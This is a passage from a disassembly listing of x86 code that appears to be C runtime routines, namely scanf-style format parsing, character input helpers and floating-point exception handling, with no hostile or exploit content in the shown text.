loc_42089C: ; CODE XREF: sub_420445+451j mov edi, offset dword_43AB08 jmp loc_4209B1 ; --------------------------------------------------------------------------- loc_4208A6: ; CODE XREF: sub_420445+1FDj mov eax, esi sub eax, 70h jz loc_420B54 sub eax, 3 jz loc_4209A2 dec eax dec eax jz loc_420B58 sub eax, 3 jz loc_42068E sub eax, 3 jz short loc_4208F4 loc_4208D0: ; CODE XREF: sub_420445+21Bj ; sub_420445+22Ej movzx eax, byte ptr [ebx] cmp eax, [ebp+var_14] jnz loc_420E1B dec [ebp+var_15] cmp [ebp+var_E], 0 jnz loc_420DAC mov eax, [ebp+var_44] mov [ebp+arg_8], eax jmp loc_420DAC ; --------------------------------------------------------------------------- loc_4208F4: ; CODE XREF: sub_420445+489j cmp [ebp+var_5], 0 jle short loc_4208FE mov [ebp+var_16], 1 loc_4208FE: ; CODE XREF: sub_420445+4B3j mov edi, [ebp+arg_4] inc edi mov [ebp+arg_4], edi cmp byte ptr [edi], 5Eh jnz loc_4209B5 mov eax, edi lea edi, [eax+1] jmp loc_4209B1 ; --------------------------------------------------------------------------- loc_420918: ; CODE XREF: sub_420445+24Fj cmp ebx, 2Bh jnz short loc_42093F loc_42091D: ; CODE XREF: sub_420445+259j dec [ebp+var_C] jnz short loc_42092E cmp [ebp+var_20], 0 jz short loc_42092E mov [ebp+var_F], 1 jmp short loc_42093F ; --------------------------------------------------------------------------- loc_42092E: ; CODE XREF: sub_420445+4DBj ; sub_420445+4E1j push [ebp+arg_0] inc [ebp+var_4] call sub_420EA1 mov ebx, eax pop ecx mov [ebp+var_14], ebx loc_42093F: ; CODE XREF: sub_420445+4D6j ; sub_420445+4E7j cmp ebx, 30h jnz loc_420B8D push [ebp+arg_0] inc [ebp+var_4] call sub_420EA1 mov ebx, eax pop ecx cmp bl, 78h mov [ebp+var_14], ebx jz short loc_42098D cmp bl, 58h jz short loc_42098D cmp esi, 78h mov [ebp+var_1C], 1 jz short loc_420977 push 6Fh loc_420971: ; CODE XREF: sub_420445+55Bj pop esi jmp loc_420B8D ; --------------------------------------------------------------------------- loc_420977: ; CODE XREF: sub_420445+528j push [ebp+arg_0] dec [ebp+var_4] push ebx call sub_420EBB pop ecx pop ecx push 30h pop ebx jmp loc_420B8A ; --------------------------------------------------------------------------- loc_42098D: ; CODE XREF: sub_420445+517j ; sub_420445+51Cj push [ebp+arg_0] inc [ebp+var_4] call sub_420EA1 pop ecx mov ebx, eax mov [ebp+var_14], ebx push 78h jmp short loc_420971 ; --------------------------------------------------------------------------- loc_4209A2: ; CODE XREF: sub_420445+46Fj cmp [ebp+var_5], 0 jle short loc_4209AC mov [ebp+var_16], 1 loc_4209AC: ; CODE XREF: sub_420445+561j mov edi, offset dword_43AB00 loc_4209B1: ; CODE XREF: sub_420445+45Cj ; sub_420445+4CEj or [ebp+var_18], 0FFh loc_4209B5: ; CODE XREF: sub_420445+4C3j push 20h lea eax, [ebp+var_64] push 0 push eax call sub_41BD10 add esp, 0Ch cmp [ebp+var_3C], 7Bh jnz short loc_4209D9 cmp byte ptr [edi], 5Dh jnz short loc_4209D9 mov dl, 5Dh inc edi mov [ebp+var_59], 20h jmp short loc_4209DC ; --------------------------------------------------------------------------- loc_4209D9: ; CODE XREF: sub_420445+584j ; sub_420445+589j mov dl, [ebp+var_35] loc_4209DC: ; CODE XREF: sub_420445+592j ; sub_420445+5E1j ... mov al, [edi] cmp al, 5Dh jz short loc_420A41 inc edi cmp al, 2Dh jnz short loc_420A28 test dl, dl jz short loc_420A28 mov cl, [edi] cmp cl, 5Dh jz short loc_420A28 inc edi cmp dl, cl jnb short loc_4209FB mov al, cl jmp short loc_4209FF ; --------------------------------------------------------------------------- loc_4209FB: ; CODE XREF: sub_420445+5B0j mov al, dl mov dl, cl loc_4209FF: ; CODE XREF: sub_420445+5B4j cmp dl, al ja short loc_420A24 movzx edx, dl movzx esi, al sub esi, edx inc esi loc_420A0C: ; CODE XREF: sub_420445+5DDj mov ecx, edx mov eax, edx and ecx, 7 mov bl, 1 shr eax, 3 shl bl, cl lea eax, [ebp+eax+var_64] or [eax], bl inc edx dec esi jnz short loc_420A0C loc_420A24: ; CODE XREF: sub_420445+5BCj xor dl, dl jmp short loc_4209DC ; --------------------------------------------------------------------------- loc_420A28: ; CODE XREF: sub_420445+5A0j ; sub_420445+5A4j ... movzx ecx, al mov dl, al mov eax, ecx and ecx, 7 mov bl, 1 shr eax, 3 shl bl, cl lea eax, [ebp+eax+var_64] or [eax], bl jmp short loc_4209DC ; --------------------------------------------------------------------------- loc_420A41: ; CODE XREF: sub_420445+59Bj cmp byte ptr [edi], 0 jz loc_420E4B cmp [ebp+var_3C], 7Bh jnz short loc_420A53 mov [ebp+arg_4], edi loc_420A53: ; CODE XREF: sub_420445+609j mov edi, [ebp+arg_0] mov esi, [ebp+var_2C] dec [ebp+var_4] push edi push [ebp+var_14] mov [ebp+var_30], esi call sub_420EBB pop ecx pop ecx loc_420A6A: ; CODE XREF: sub_420445+6BCj ; sub_420445+6C4j cmp [ebp+var_20], 0 jz short loc_420A7E mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jz loc_420B1A loc_420A7E: ; CODE XREF: sub_420445+629j inc [ebp+var_4] push edi call sub_420EA1 cmp eax, 0FFFFFFFFh pop ecx mov [ebp+var_14], eax jz short loc_420B0E mov ecx, eax push 1 and ecx, 7 pop edx movsx ebx, [ebp+var_18] shl edx, cl mov ecx, eax sar ecx, 3 movsx ecx, [ebp+ecx+var_64] xor ecx, ebx test edx, ecx jz short loc_420B0E cmp [ebp+var_E], 0 jnz short loc_420B06 cmp [ebp+var_16], 0 jz short loc_420AFB mov ecx, off_43A680 mov [ebp+var_38], al movzx eax, al test byte ptr [ecx+eax*2+1], 80h jz short loc_420ADA inc [ebp+var_4] push edi call sub_420EA1 pop ecx mov [ebp+var_37], al loc_420ADA: ; CODE XREF: sub_420445+686j push dword_43A88C lea eax, [ebp+var_38] push eax lea eax, [ebp+var_3E] push eax call sub_423DCB mov ax, [ebp+var_3E] add esp, 0Ch mov [esi], ax inc esi inc esi jmp short loc_420AFE ; --------------------------------------------------------------------------- loc_420AFB: ; CODE XREF: sub_420445+673j mov [esi], al inc esi loc_420AFE: ; CODE XREF: sub_420445+6B4j mov [ebp+var_2C], esi jmp loc_420A6A ; --------------------------------------------------------------------------- loc_420B06: ; CODE XREF: sub_420445+66Dj inc [ebp+var_30] jmp loc_420A6A ; --------------------------------------------------------------------------- loc_420B0E: ; CODE XREF: sub_420445+649j ; sub_420445+667j dec [ebp+var_4] push edi push eax call sub_420EBB pop ecx pop ecx loc_420B1A: ; CODE XREF: sub_420445+633j cmp [ebp+var_30], esi jz loc_420E4B cmp [ebp+var_E], 0 jnz loc_420DAC inc [ebp+var_34] cmp [ebp+var_3C], 63h jz loc_420DAC cmp [ebp+var_16], 0 mov eax, [ebp+var_2C] jz short loc_420B4C and word ptr [eax], 0 jmp loc_420DAC ; --------------------------------------------------------------------------- loc_420B4C: ; CODE XREF: sub_420445+6FCj and byte ptr [eax], 0 jmp loc_420DAC ; --------------------------------------------------------------------------- loc_420B54: ; CODE XREF: sub_420445+466j mov [ebp+var_D], 1 loc_420B58: ; CODE XREF: sub_420445+203j ; sub_420445+215j ... mov ebx, [ebp+var_14] cmp ebx, 2Dh jnz short loc_420B66 mov [ebp+var_17], 1 jmp short loc_420B6B ; --------------------------------------------------------------------------- loc_420B66: ; CODE XREF: sub_420445+719j cmp ebx, 2Bh jnz short loc_420B8D loc_420B6B: ; CODE XREF: sub_420445+71Fj dec [ebp+var_C] jnz short loc_420B7C cmp [ebp+var_20], 0 jz short loc_420B7C mov [ebp+var_F], 1 jmp short loc_420B8D ; --------------------------------------------------------------------------- loc_420B7C: ; CODE XREF: sub_420445+729j ; sub_420445+72Fj push [ebp+arg_0] inc [ebp+var_4] call sub_420EA1 pop ecx mov ebx, eax loc_420B8A: ; CODE XREF: sub_420445+543j mov [ebp+var_14], ebx loc_420B8D: ; CODE XREF: sub_420445+4FDj ; sub_420445+52Dj ... cmp [ebp+var_30], 0 jz loc_420CA6 cmp [ebp+var_F], 0 jnz loc_420C84 loc_420BA1: ; CODE XREF: sub_420445+82Cj cmp esi, 78h jnz short loc_420BF5 cmp dword_43A88C, 1 jle short loc_420BBE push 80h push ebx call sub_41F44A pop ecx pop ecx jmp short loc_420BCB ; --------------------------------------------------------------------------- loc_420BBE: ; CODE XREF: sub_420445+768j mov eax, off_43A680 mov al, [eax+ebx*2] and eax, 80h loc_420BCB: ; CODE XREF: sub_420445+777j test eax, eax jz loc_420C76 mov eax, [ebp+var_28] mov edx, [ebp+var_24] push 4 pop ecx call sub_423EA0 push ebx mov [ebp+var_28], eax mov [ebp+var_24], edx call sub_420E6A mov ebx, eax pop ecx mov [ebp+var_14], ebx jmp short loc_420C48 ; --------------------------------------------------------------------------- loc_420BF5: ; CODE XREF: sub_420445+75Fj cmp dword_43A88C, 1 jle short loc_420C0A push 4 push ebx call sub_41F44A pop ecx pop ecx jmp short loc_420C15 ; --------------------------------------------------------------------------- loc_420C0A: ; CODE XREF: sub_420445+7B7j mov eax, off_43A680 mov al, [eax+ebx*2] and eax, 4 loc_420C15: ; CODE XREF: sub_420445+7C3j test eax, eax jz short loc_420C76 cmp esi, 6Fh jnz short loc_420C33 cmp ebx, 38h jge short loc_420C76 mov eax, [ebp+var_28] mov edx, [ebp+var_24] push 3 pop ecx call sub_423EA0 jmp short loc_420C42 ; --------------------------------------------------------------------------- loc_420C33: ; CODE XREF: sub_420445+7D7j push 0 push 0Ah push [ebp+var_24] push [ebp+var_28] call sub_41DA20 loc_420C42: ; CODE XREF: sub_420445+7ECj mov [ebp+var_28], eax mov [ebp+var_24], edx loc_420C48: ; CODE XREF: sub_420445+7AEj inc [ebp+var_1C] lea eax, [ebx-30h] cdq add [ebp+var_28], eax adc [ebp+var_24], edx cmp [ebp+var_20], 0 jz short loc_420C60 dec [ebp+var_C] jz short loc_420C84 loc_420C60: ; CODE XREF: sub_420445+814j push [ebp+arg_0] inc [ebp+var_4] call sub_420EA1 mov ebx, eax pop ecx mov [ebp+var_14], ebx jmp loc_420BA1 ; --------------------------------------------------------------------------- loc_420C76: ; CODE XREF: sub_420445+788j ; sub_420445+7D2j ... push [ebp+arg_0] dec [ebp+var_4] push ebx call sub_420EBB pop ecx pop ecx loc_420C84: ; CODE XREF: sub_420445+756j ; sub_420445+819j cmp [ebp+var_17], 0 jz loc_420D6A mov eax, [ebp+var_28] mov ecx, [ebp+var_24] neg eax adc ecx, 0 mov [ebp+var_28], eax neg ecx mov [ebp+var_24], ecx jmp loc_420D6A ; --------------------------------------------------------------------------- loc_420CA6: ; CODE XREF: sub_420445+74Cj cmp [ebp+var_F], 0 jnz loc_420D62 loc_420CB0: ; CODE XREF: sub_420445+90Aj cmp esi, 78h jz short loc_420CF4 cmp esi, 70h jz short loc_420CF4 cmp dword_43A88C, 1 jle short loc_420CCF push 4 push ebx call sub_41F44A pop ecx pop ecx jmp short loc_420CDA ; --------------------------------------------------------------------------- loc_420CCF: ; CODE XREF: sub_420445+87Cj mov eax, off_43A680 mov al, [eax+ebx*2] and eax, 4 loc_420CDA: ; CODE XREF: sub_420445+888j test eax, eax jz short loc_420D54 cmp esi, 6Fh jnz short loc_420CED cmp ebx, 38h jge short loc_420D54 shl edi, 3 jmp short loc_420D2C ; --------------------------------------------------------------------------- loc_420CED: ; CODE XREF: sub_420445+89Cj lea edi, [edi+edi*4] shl edi, 1 jmp short loc_420D2C ; --------------------------------------------------------------------------- loc_420CF4: ; CODE XREF: sub_420445+86Ej ; sub_420445+873j cmp dword_43A88C, 1 jle short loc_420D0C push 80h push ebx call sub_41F44A pop ecx pop ecx jmp short loc_420D19 ; --------------------------------------------------------------------------- loc_420D0C: ; CODE XREF: sub_420445+8B6j mov eax, off_43A680 mov al, [eax+ebx*2] and eax, 80h loc_420D19: ; CODE XREF: sub_420445+8C5j test eax, eax jz short loc_420D54 push ebx shl edi, 4 call sub_420E6A mov ebx, eax pop ecx mov [ebp+var_14], ebx loc_420D2C: ; CODE XREF: sub_420445+8A6j ; sub_420445+8ADj inc [ebp+var_1C] cmp [ebp+var_20], 0 lea edi, [edi+ebx-30h] jz short loc_420D3E dec [ebp+var_C] jz short loc_420D62 loc_420D3E: ; CODE XREF: sub_420445+8F2j push [ebp+arg_0] inc [ebp+var_4] call sub_420EA1 mov ebx, eax pop ecx mov [ebp+var_14], ebx jmp loc_420CB0 ; --------------------------------------------------------------------------- loc_420D54: ; CODE XREF: sub_420445+897j ; sub_420445+8A1j ... push [ebp+arg_0] dec [ebp+var_4] push ebx call sub_420EBB pop ecx pop ecx loc_420D62: ; CODE XREF: sub_420445+865j ; sub_420445+8F7j cmp [ebp+var_17], 0 jz short loc_420D6A neg edi loc_420D6A: ; CODE XREF: sub_420445+843j ; sub_420445+85Cj ... cmp esi, 46h jnz short loc_420D73 and [ebp+var_1C], 0 loc_420D73: ; CODE XREF: sub_420445+928j cmp [ebp+var_1C], 0 jz loc_420E4B cmp [ebp+var_E], 0 jnz short loc_420DAC inc [ebp+var_34] loc_420D86: ; CODE XREF: sub_420445+23Bj cmp [ebp+var_30], 0 jz short loc_420D9C mov eax, [ebp+var_2C] mov ecx, [ebp+var_28] mov [eax], ecx mov ecx, [ebp+var_24] mov [eax+4], ecx jmp short loc_420DAC ; --------------------------------------------------------------------------- loc_420D9C: ; CODE XREF: sub_420445+945j cmp [ebp+var_D], 0 mov eax, [ebp+var_2C] jz short loc_420DA9 mov [eax], edi jmp short loc_420DAC ; --------------------------------------------------------------------------- loc_420DA9: ; CODE XREF: sub_420445+95Ej mov [eax], di loc_420DAC: ; CODE XREF: sub_420445+241j ; sub_420445+414j ... inc [ebp+var_15] inc [ebp+arg_4] mov esi, [ebp+arg_4] jmp short loc_420DF9 ; --------------------------------------------------------------------------- loc_420DB7: ; CODE XREF: sub_420445+93j inc [ebp+var_4] push edi call sub_420EA1 mov ebx, eax pop ecx movzx eax, byte ptr [esi] inc esi cmp eax, ebx mov [ebp+var_14], ebx mov [ebp+arg_4], esi jnz short loc_420E26 mov ecx, off_43A680 movzx eax, bl test byte ptr [ecx+eax*2+1], 80h jz short loc_420DF9 inc [ebp+var_4] push edi call sub_420EA1 pop ecx movzx ecx, byte ptr [esi] inc esi cmp ecx, eax mov [ebp+arg_4], esi jnz short loc_420E34 dec [ebp+var_4] loc_420DF9: ; CODE XREF: sub_420445+970j ; sub_420445+99Aj cmp [ebp+var_14], 0FFFFFFFFh jnz short loc_420E0F cmp byte ptr [esi], 25h jnz short loc_420E51 mov eax, [ebp+arg_4] cmp byte ptr [eax+1], 6Eh jnz short loc_420E51 mov esi, eax loc_420E0F: ; CODE XREF: sub_420445+9B8j mov al, [esi] test al, al jnz loc_42046F jmp short loc_420E4B ; --------------------------------------------------------------------------- loc_420E1B: ; CODE XREF: sub_420445+1F4j ; sub_420445+491j push [ebp+arg_0] dec [ebp+var_4] push [ebp+var_14] jmp short loc_420E2B ; --------------------------------------------------------------------------- loc_420E26: ; CODE XREF: sub_420445+98Aj dec [ebp+var_4] push edi push ebx loc_420E2B: ; CODE XREF: sub_420445+9DFj call sub_420EBB pop ecx pop ecx jmp short loc_420E4B ; --------------------------------------------------------------------------- loc_420E34: ; CODE XREF: sub_420445+9AFj dec [ebp+var_4] push edi push eax call sub_420EBB dec [ebp+var_4] push edi push ebx call sub_420EBB add esp, 10h loc_420E4B: ; CODE XREF: sub_420445+1Fj ; sub_420445+40Aj ... cmp [ebp+var_14], 0FFFFFFFFh jnz short loc_420E62 loc_420E51: ; CODE XREF: sub_420445+9BDj ; sub_420445+9C6j mov eax, [ebp+var_34] test eax, eax jnz short loc_420E65 cmp [ebp+var_15], al jnz short loc_420E65 or eax, 0FFFFFFFFh jmp short loc_420E65 ; --------------------------------------------------------------------------- loc_420E62: ; CODE XREF: sub_420445+A0Aj mov eax, [ebp+var_34] loc_420E65: ; CODE XREF: sub_420445+A11j ; sub_420445+A16j ... pop edi pop esi pop ebx leave retn sub_420445 endp ; =============== S U B R O U T I N E ======================================= sub_420E6A proc near ; CODE XREF: sub_420445+7A3p ; sub_420445+8DCp arg_0 = dword ptr 4 cmp dword_43A88C, 1 push esi jle short loc_420E84 mov esi, [esp+4+arg_0] push 4 push esi call sub_41F44A pop ecx pop ecx jmp short loc_420E93 ; --------------------------------------------------------------------------- loc_420E84: ; CODE XREF: sub_420E6A+8j mov esi, [esp+4+arg_0] mov eax, off_43A680 mov al, [eax+esi*2] and eax, 4 loc_420E93: ; CODE XREF: sub_420E6A+18j test eax, eax jnz short loc_420E9D and esi, 0FFFFFFDFh sub esi, 7 loc_420E9D: ; CODE XREF: sub_420E6A+2Bj mov eax, esi pop esi retn sub_420E6A endp ; =============== S U B R O U T I N E ======================================= sub_420EA1 proc near ; CODE XREF: sub_420445+1E1p ; sub_420445+289p ... arg_0 = dword ptr 4 mov edx, [esp+arg_0] dec dword ptr [edx+4] js short loc_420EB3 mov ecx, [edx] movzx eax, byte ptr [ecx] inc ecx mov [edx], ecx retn ; --------------------------------------------------------------------------- loc_420EB3: ; CODE XREF: sub_420EA1+7j push edx call sub_41EF78 pop ecx retn sub_420EA1 endp ; =============== S U B R O U T I N E ======================================= sub_420EBB proc near ; CODE XREF: sub_420445+6Bp ; sub_420445+3FFp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 cmp [esp+arg_0], 0FFFFFFFFh jz short locret_420ED1 push [esp+arg_4] push [esp+4+arg_0] call sub_423EBF pop ecx pop ecx locret_420ED1: ; CODE XREF: sub_420EBB+5j retn sub_420EBB endp ; =============== S U B R O U T I N E ======================================= sub_420ED2 proc near ; CODE XREF: sub_420445+63p ; sub_420445+1D3p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, [esp+4+arg_0] push edi loc_420ED8: ; CODE XREF: sub_420ED2+1Dj push [esp+8+arg_4] inc dword ptr [esi] call sub_420EA1 mov edi, eax push edi call sub_41DE10 pop ecx test eax, eax pop ecx jnz short loc_420ED8 mov eax, edi pop edi pop esi retn sub_420ED2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __fastcall sub_420EF6(int,int,double,int) sub_420EF6 proc near ; CODE XREF: sub_41CDE5+51p ; sub_41CF2B+51p var_1C = qword ptr -1Ch var_14 = qword ptr -14h var_C = qword ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_C = dword ptr 14h push ebp mov ebp, esp cmp dword_43B000, 0 jnz short loc_420F2B push [ebp+arg_C] ; int fld qword ptr [ebp+arg_4] push ecx push ecx ; double fstp [esp+0Ch+var_C] push ecx ; int push ecx ; int fldz fstp [esp+14h+var_14] fld qword ptr [ebp+arg_4] push ecx ; int push ecx ; int fstp [esp+1Ch+var_1C] push [ebp+arg_0] ; int push 1 ; int call sub_4214AB add esp, 24h pop ebp retn ; --------------------------------------------------------------------------- loc_420F2B: ; CODE XREF: sub_420EF6+Aj push 0FFFFh mov dword_4D9714, 21h push [ebp+arg_C] call sub_42171E fld qword ptr [ebp+arg_4] pop ecx pop ecx pop ebp retn sub_420EF6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_420F49(int,int,double,double,int) sub_420F49 proc near ; CODE XREF: sub_41CDE5:loc_41CEA8p ; sub_41CF2B:loc_41CFEEp var_74 = qword ptr -74h var_6C = qword ptr -6Ch var_64 = qword ptr -64h var_5C = dword ptr -5Ch var_58 = byte ptr -58h var_20 = dword ptr -20h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = qword ptr 10h arg_10 = qword ptr 18h arg_18 = dword ptr 20h push ebp mov ebp, esp sub esp, 58h push [ebp+arg_18] lea eax, [ebp+arg_10] push eax push [ebp+arg_0] call sub_421294 add esp, 0Ch test eax, eax jnz short loc_420F87 lea eax, [ebp+arg_10] and [ebp+var_20], 0FFFFFFFEh push eax lea eax, [ebp+arg_8] push eax lea eax, [ebp+arg_18] push [ebp+arg_4] push [ebp+arg_0] push eax lea eax, [ebp+var_58] push eax call sub_420FE1 add esp, 18h loc_420F87: ; CODE XREF: sub_420F49+1Aj push [ebp+arg_0] call sub_42157E cmp dword_43B000, 0 pop ecx jnz short loc_420FC5 test eax, eax jz short loc_420FC5 push [ebp+arg_18] ; int fld [ebp+arg_10] push ecx push ecx ; double fstp [esp+64h+var_64] push ecx ; int push ecx ; int fldz fstp [esp+6Ch+var_6C] fld [ebp+arg_8] push ecx ; int push ecx ; int fstp [esp+74h+var_74] push [ebp+arg_4] ; int push eax ; int call sub_4214AB add esp, 24h leave retn ; --------------------------------------------------------------------------- loc_420FC5: ; CODE XREF: sub_420F49+4Ej ; sub_420F49+52j push eax call sub_421533 mov [esp+5Ch+var_5C], 0FFFFh push [ebp+arg_18] call sub_42171E fld [ebp+arg_10] pop ecx pop ecx leave retn sub_420F49 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_420FE1 proc near ; CODE XREF: sub_420F49+36p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp mov ecx, [ebp+arg_0] xor eax, eax push ebx push esi mov [ecx+4], eax mov ecx, [ebp+arg_0] push edi push 1 mov [ecx+8], eax mov ecx, [ebp+arg_0] pop ebx mov [ecx+0Ch], eax mov cl, byte ptr [ebp+arg_8] test cl, 10h jz short loc_421013 mov eax, [ebp+arg_0] mov [ebp+arg_8], 0C000008Fh or [eax+4], ebx loc_421013: ; CODE XREF: sub_420FE1+23j test cl, 2 jz short loc_421026 mov eax, [ebp+arg_0] mov [ebp+arg_8], 0C0000093h or dword ptr [eax+4], 2 loc_421026: ; CODE XREF: sub_420FE1+35j test cl, bl jz short loc_421038 mov eax, [ebp+arg_0] mov [ebp+arg_8], 0C0000091h or dword ptr [eax+4], 4 loc_421038: ; CODE XREF: sub_420FE1+47j test cl, 4 jz short loc_42104B mov eax, [ebp+arg_0] mov [ebp+arg_8], 0C000008Eh or dword ptr [eax+4], 8 loc_42104B: ; CODE XREF: sub_420FE1+5Aj test cl, 8 jz short loc_42105E mov eax, [ebp+arg_0] mov [ebp+arg_8], 0C0000090h or dword ptr [eax+4], 10h loc_42105E: ; CODE XREF: sub_420FE1+6Dj mov esi, [ebp+arg_4] mov eax, [ebp+arg_0] push 2 mov ecx, [esi] mov edx, [eax+8] not ecx and ecx, ebx and edx, 0FFFFFFEFh shl ecx, 4 or ecx, edx pop edi mov [eax+8], ecx mov ecx, [esi] mov eax, [ebp+arg_0] not ecx mov edx, [eax+8] and ecx, 4 shl ecx, 1 and edx, 0FFFFFFF7h or ecx, edx mov [eax+8], ecx mov ecx, [esi] mov eax, [ebp+arg_0] not ecx mov edx, [eax+8] shr ecx, 1 and ecx, 4 and edx, 0FFFFFFFBh or ecx, edx mov [eax+8], ecx mov ecx, [esi] mov eax, [ebp+arg_0] not ecx mov edx, [eax+8] shr ecx, 3 and ecx, edi and edx, 0FFFFFFFDh or ecx, edx mov [eax+8], ecx mov ecx, [esi] mov eax, [ebp+arg_0] not ecx mov edx, [eax+8] shr ecx, 5 and ecx, ebx and edx, 0FFFFFFFEh or ecx, edx mov [eax+8], ecx call sub_421701 test al, bl jz short loc_4210E7 mov ecx, [ebp+arg_0] or dword ptr [ecx+0Ch], 10h loc_4210E7: ; CODE XREF: sub_420FE1+FDj test al, 4 jz short loc_4210F2 mov ecx, [ebp+arg_0] or dword ptr [ecx+0Ch], 8 loc_4210F2: ; CODE XREF: sub_420FE1+108j test al, 8 jz short loc_4210FD mov ecx, [ebp+arg_0] or dword ptr [ecx+0Ch], 4 loc_4210FD: ; CODE XREF: sub_420FE1+113j test al, 10h jz short loc_421107 mov ecx, [ebp+arg_0] or [ecx+0Ch], edi loc_421107: ; CODE XREF: sub_420FE1+11Ej test al, 20h jz short loc_421111 mov eax, [ebp+arg_0] or [eax+0Ch], ebx loc_421111: ; CODE XREF: sub_420FE1+128j mov eax, [esi] mov ecx, 0C00h and eax, ecx jz short loc_421150 cmp eax, 400h jz short loc_421142 cmp eax, 800h jz short loc_421136 cmp eax, ecx jnz short loc_421156 mov eax, [ebp+arg_0] or dword ptr [eax], 3 jmp short loc_421156 ; --------------------------------------------------------------------------- loc_421136: ; CODE XREF: sub_420FE1+147j mov eax, [ebp+arg_0] mov ecx, [eax] and ecx, 0FFFFFFFEh or ecx, edi jmp short loc_42114C ; --------------------------------------------------------------------------- loc_421142: ; CODE XREF: sub_420FE1+140j mov eax, [ebp+arg_0] mov ecx, [eax] and ecx, 0FFFFFFFDh or ecx, ebx loc_42114C: ; CODE XREF: sub_420FE1+15Fj mov [eax], ecx jmp short loc_421156 ; --------------------------------------------------------------------------- loc_421150: ; CODE XREF: sub_420FE1+139j mov eax, [ebp+arg_0] and dword ptr [eax], 0FFFFFFFCh loc_421156: ; CODE XREF: sub_420FE1+14Bj ; sub_420FE1+153j ... mov eax, [esi] mov ecx, 300h and eax, ecx jz short loc_421181 cmp eax, 200h jz short loc_421174 cmp eax, ecx jnz short loc_42118E mov eax, [ebp+arg_0] and dword ptr [eax], 0FFFFFFE3h jmp short loc_42118E ; --------------------------------------------------------------------------- loc_421174: ; CODE XREF: sub_420FE1+185j mov eax, [ebp+arg_0] mov ecx, [eax] and ecx, 0FFFFFFE7h or ecx, 4 jmp short loc_42118C ; --------------------------------------------------------------------------- loc_421181: ; CODE XREF: sub_420FE1+17Ej mov eax, [ebp+arg_0] mov ecx, [eax] and ecx, 0FFFFFFEBh or ecx, 8 loc_42118C: ; CODE XREF: sub_420FE1+19Ej mov [eax], ecx loc_42118E: ; CODE XREF: sub_420FE1+189j ; sub_420FE1+191j mov eax, [ebp+arg_0] mov ecx, [ebp+arg_C] and ecx, 0FFFh mov edx, [eax] shl ecx, 5 and edx, 0FFFE001Fh or ecx, edx mov [eax], ecx mov eax, [ebp+arg_0] or [eax+20h], ebx mov eax, [ebp+arg_0] mov ecx, [eax+20h] and ecx, 0FFFFFFE3h or ecx, edi mov [eax+20h], ecx mov eax, [ebp+arg_10] fld qword ptr [eax] mov eax, [ebp+arg_0] fstp qword ptr [eax+10h] mov eax, [ebp+arg_0] or [eax+50h], ebx mov eax, [ebp+arg_0] mov ecx, [eax+50h] and ecx, 0FFFFFFE3h or ecx, edi mov edi, [ebp+arg_14] mov [eax+50h], ecx mov eax, [ebp+arg_0] fld qword ptr [edi] fstp qword ptr [eax+40h] call sub_42170F lea eax, [ebp+arg_0] push eax push ebx push 0 push [ebp+arg_8] nop call near ptr 26513B0h mov eax, [ebp+arg_0] test byte ptr [eax+8], 10h jz short loc_421208 and dword ptr [esi], 0FFFFFFFEh loc_421208: ; CODE XREF: sub_420FE1+222j test byte ptr [eax+8], 8 jz short loc_421211 and dword ptr [esi], 0FFFFFFFBh loc_421211: ; CODE XREF: sub_420FE1+22Bj test byte ptr [eax+8], 4 jz short loc_42121A and dword ptr [esi], 0FFFFFFF7h loc_42121A: ; CODE XREF: sub_420FE1+234j test byte ptr [eax+8], 2 jz short loc_421223 and dword ptr [esi], 0FFFFFFEFh loc_421223: ; CODE XREF: sub_420FE1+23Dj test [eax+8], bl jz short loc_42122B and dword ptr [esi], 0FFFFFFDFh loc_42122B: ; CODE XREF: sub_420FE1+245j mov ecx, [eax] mov edx, 0FFFFF3FFh and ecx, 3 sub ecx, 0 jz short loc_42125F dec ecx jz short loc_421253 dec ecx jz short loc_421249 dec ecx jnz short loc_421261 or byte ptr [esi+1], 0Ch jmp short loc_421261 ; --------------------------------------------------------------------------- loc_421249: ; CODE XREF: sub_420FE1+25Dj mov ecx, [esi] and ch, 0FBh or ch, 8 jmp short loc_42125B ; --------------------------------------------------------------------------- loc_421253: ; CODE XREF: sub_420FE1+25Aj mov ecx, [esi] and ch, 0F7h or ch, 4 loc_42125B: ; CODE XREF: sub_420FE1+270j mov [esi], ecx jmp short loc_421261 ; --------------------------------------------------------------------------- loc_42125F: ; CODE XREF: sub_420FE1+257j and [esi], edx loc_421261: ; CODE XREF: sub_420FE1+260j ; sub_420FE1+266j ... mov ecx, [eax] shr ecx, 2 and ecx, 7 sub ecx, 0 jz short loc_421281 dec ecx jz short loc_421278 dec ecx jnz short loc_42128A and [esi], edx jmp short loc_42128A ; --------------------------------------------------------------------------- loc_421278: ; CODE XREF: sub_420FE1+28Ej mov ecx, [esi] and ecx, edx or ch, 2 jmp short loc_421288 ; --------------------------------------------------------------------------- loc_421281: ; CODE XREF: sub_420FE1+28Bj mov ecx, [esi] and ecx, edx or ch, 3 loc_421288: ; CODE XREF: sub_420FE1+29Ej mov [esi], ecx loc_42128A: ; CODE XREF: sub_420FE1+291j ; sub_420FE1+295j fld qword ptr [eax+40h] fstp qword ptr [edi] pop edi pop esi pop ebx pop ebp retn sub_420FE1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_421294 proc near ; CODE XREF: sub_420F49+10p var_24 = qword ptr -24h var_C = qword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch mov eax, [ebp+arg_0] push ebx push edi mov edi, eax and edi, 1Fh push 1 test al, 8 pop ebx jz short loc_4212BF test byte ptr [ebp+arg_8], bl jz short loc_4212BF push ebx call sub_421741 pop ecx and edi, 0FFFFFFF7h jmp loc_421489 ; --------------------------------------------------------------------------- loc_4212BF: ; CODE XREF: sub_421294+15j ; sub_421294+1Aj test al, 4 jz short loc_4212D9 test byte ptr [ebp+arg_8], 4 jz short loc_4212D9 